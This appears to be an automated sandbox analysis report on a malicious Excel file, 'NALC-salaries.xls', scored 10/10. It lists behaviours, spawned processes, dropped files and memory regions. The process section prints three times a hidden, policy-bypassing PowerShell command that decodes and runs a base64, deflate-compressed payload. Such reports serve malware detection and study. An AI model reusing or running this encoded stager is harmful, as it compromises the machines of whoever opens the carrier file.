Resubmissions

18-04-2024 22:33

240418-2gjk3sgg32 10

18-04-2024 22:29

240418-2eqxdahf7s 10

Analysis

  • max time kernel
    306s
  • max time network
    313s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-uk
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-uklocale:uk-uaos:windows10-2004-x64systemwindows
  • submitted
    18-04-2024 22:33

General

  • Target

    NALC-salaries.xls

  • Size

    43KB

  • MD5

    8c64f107dd064147dd04ee265eef47c3

  • SHA1

    22ffb010c8a41c9dabb0927bf432fb25bd78d323

  • SHA256

    cafeb5969425e4392f7c0df31a1f66a254e5654dd9a8143e6c28b8fbf0535a7a

  • SHA512

    7122c4e25d372313bff688cacfd5301ea4d02b064ffa7f282e502f9e20c4125232b77ea8786664075e8c327668bd4230b32ca8c40de01d822542ea840e57bf4d

  • SSDEEP

    768:mzmB+k3hOdsylKlgryzc4bNhZFGzE+cL2knAJgRX42AAbXwrlIRbxCca8yfMy3:+k3hOdsylKlgryzc4bNhZFGzE+cL2kn4

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\NALC-salaries.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4196
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3124
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:456
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4616

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    4280e36a29fa31c01e4d8b2ba726a0d8

    SHA1

    c485c2c9ce0a99747b18d899b71dfa9a64dabe32

    SHA256

    e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

    SHA512

    494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    a7fd1ad3605e38b297bf8751b02d37f9

    SHA1

    e142797a2e201ec6d46fae3d479b78782b5fe06a

    SHA256

    c2917a3e868ec321871b873897be8a789637fffa03603684c2aff30dc63993c8

    SHA512

    5467c9720fafbb609b772e11a6b7edd91d77e05f71e2808d4c54f9e38c65bf67e20f6127b1cd960548f793caefce68848c0db5a2109b1a7bf16a573d763b45a8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    d3c09b82930c0175ac7743cec228a246

    SHA1

    8985696a824844821f4a66d7871e2b4bf61b5d8a

    SHA256

    6ce4154dfaeadec41831182dc34dceb64eb19e3d90fc95edde65f02c9b3213b6

    SHA512

    885f5dad7cf045514a4d3f50cb70a74ef8613c58fb7ca78b3e7b64565d1ee1fa3a28e0ec649bed864d6f54608543c1250b664c0ff85f9e4ce147c1b5abf0760b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3bzomnvc.clz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/456-77-0x0000000074B40000-0x00000000752F0000-memory.dmp

    Filesize

    7.7MB

  • memory/456-92-0x0000000074B40000-0x00000000752F0000-memory.dmp

    Filesize

    7.7MB

  • memory/456-76-0x00000000033D0000-0x00000000033E0000-memory.dmp

    Filesize

    64KB

  • memory/456-75-0x00000000033D0000-0x00000000033E0000-memory.dmp

    Filesize

    64KB

  • memory/456-89-0x00000000063C0000-0x0000000006714000-memory.dmp

    Filesize

    3.3MB

  • memory/3124-52-0x0000000006900000-0x000000000691E000-memory.dmp

    Filesize

    120KB

  • memory/3124-41-0x0000000006220000-0x0000000006286000-memory.dmp

    Filesize

    408KB

  • memory/3124-54-0x0000000008050000-0x00000000086CA000-memory.dmp

    Filesize

    6.5MB

  • memory/3124-53-0x0000000006940000-0x000000000698C000-memory.dmp

    Filesize

    304KB

  • memory/3124-35-0x0000000074B40000-0x00000000752F0000-memory.dmp

    Filesize

    7.7MB

  • memory/3124-48-0x0000000006290000-0x00000000065E4000-memory.dmp

    Filesize

    3.3MB

  • memory/3124-58-0x0000000074B40000-0x00000000752F0000-memory.dmp

    Filesize

    7.7MB

  • memory/3124-55-0x0000000006E30000-0x0000000006E4A000-memory.dmp

    Filesize

    104KB

  • memory/3124-40-0x0000000005A30000-0x0000000005A96000-memory.dmp

    Filesize

    408KB

  • memory/3124-39-0x0000000005890000-0x00000000058B2000-memory.dmp

    Filesize

    136KB

  • memory/3124-38-0x0000000005500000-0x0000000005510000-memory.dmp

    Filesize

    64KB

  • memory/3124-36-0x0000000005B40000-0x0000000006168000-memory.dmp

    Filesize

    6.2MB

  • memory/3124-37-0x0000000005500000-0x0000000005510000-memory.dmp

    Filesize

    64KB

  • memory/3124-34-0x0000000003270000-0x00000000032A6000-memory.dmp

    Filesize

    216KB

  • memory/4196-13-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-66-0x000001E909190000-0x000001E909990000-memory.dmp

    Filesize

    8.0MB

  • memory/4196-29-0x000001E909190000-0x000001E909990000-memory.dmp

    Filesize

    8.0MB

  • memory/4196-28-0x000001E909190000-0x000001E909990000-memory.dmp

    Filesize

    8.0MB

  • memory/4196-16-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-18-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-17-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-15-0x00007FFFB11F0000-0x00007FFFB1200000-memory.dmp

    Filesize

    64KB

  • memory/4196-14-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-0-0x00007FFFB3AB0000-0x00007FFFB3AC0000-memory.dmp

    Filesize

    64KB

  • memory/4196-12-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-10-0x00007FFFB11F0000-0x00007FFFB1200000-memory.dmp

    Filesize

    64KB

  • memory/4196-11-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-9-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-65-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-30-0x000001E90D420000-0x000001E90E3F0000-memory.dmp

    Filesize

    15.8MB

  • memory/4196-67-0x000001E909190000-0x000001E909990000-memory.dmp

    Filesize

    8.0MB

  • memory/4196-68-0x000001E90D420000-0x000001E90E3F0000-memory.dmp

    Filesize

    15.8MB

  • memory/4196-74-0x000001E90D420000-0x000001E90E3F0000-memory.dmp

    Filesize

    15.8MB

  • memory/4196-8-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-6-0x00007FFFB3AB0000-0x00007FFFB3AC0000-memory.dmp

    Filesize

    64KB

  • memory/4196-7-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-4-0x00007FFFB3AB0000-0x00007FFFB3AC0000-memory.dmp

    Filesize

    64KB

  • memory/4196-5-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-3-0x00007FFFF3A30000-0x00007FFFF3C25000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-2-0x00007FFFB3AB0000-0x00007FFFB3AC0000-memory.dmp

    Filesize

    64KB

  • memory/4196-93-0x000001E90D420000-0x000001E90E3F0000-memory.dmp

    Filesize

    15.8MB

  • memory/4196-1-0x00007FFFB3AB0000-0x00007FFFB3AC0000-memory.dmp

    Filesize

    64KB

  • memory/4616-96-0x0000000005300000-0x0000000005310000-memory.dmp

    Filesize

    64KB

  • memory/4616-106-0x00000000064F0000-0x0000000006844000-memory.dmp

    Filesize

    3.3MB

  • memory/4616-95-0x0000000074B40000-0x00000000752F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4616-109-0x0000000074B40000-0x00000000752F0000-memory.dmp

    Filesize

    7.7MB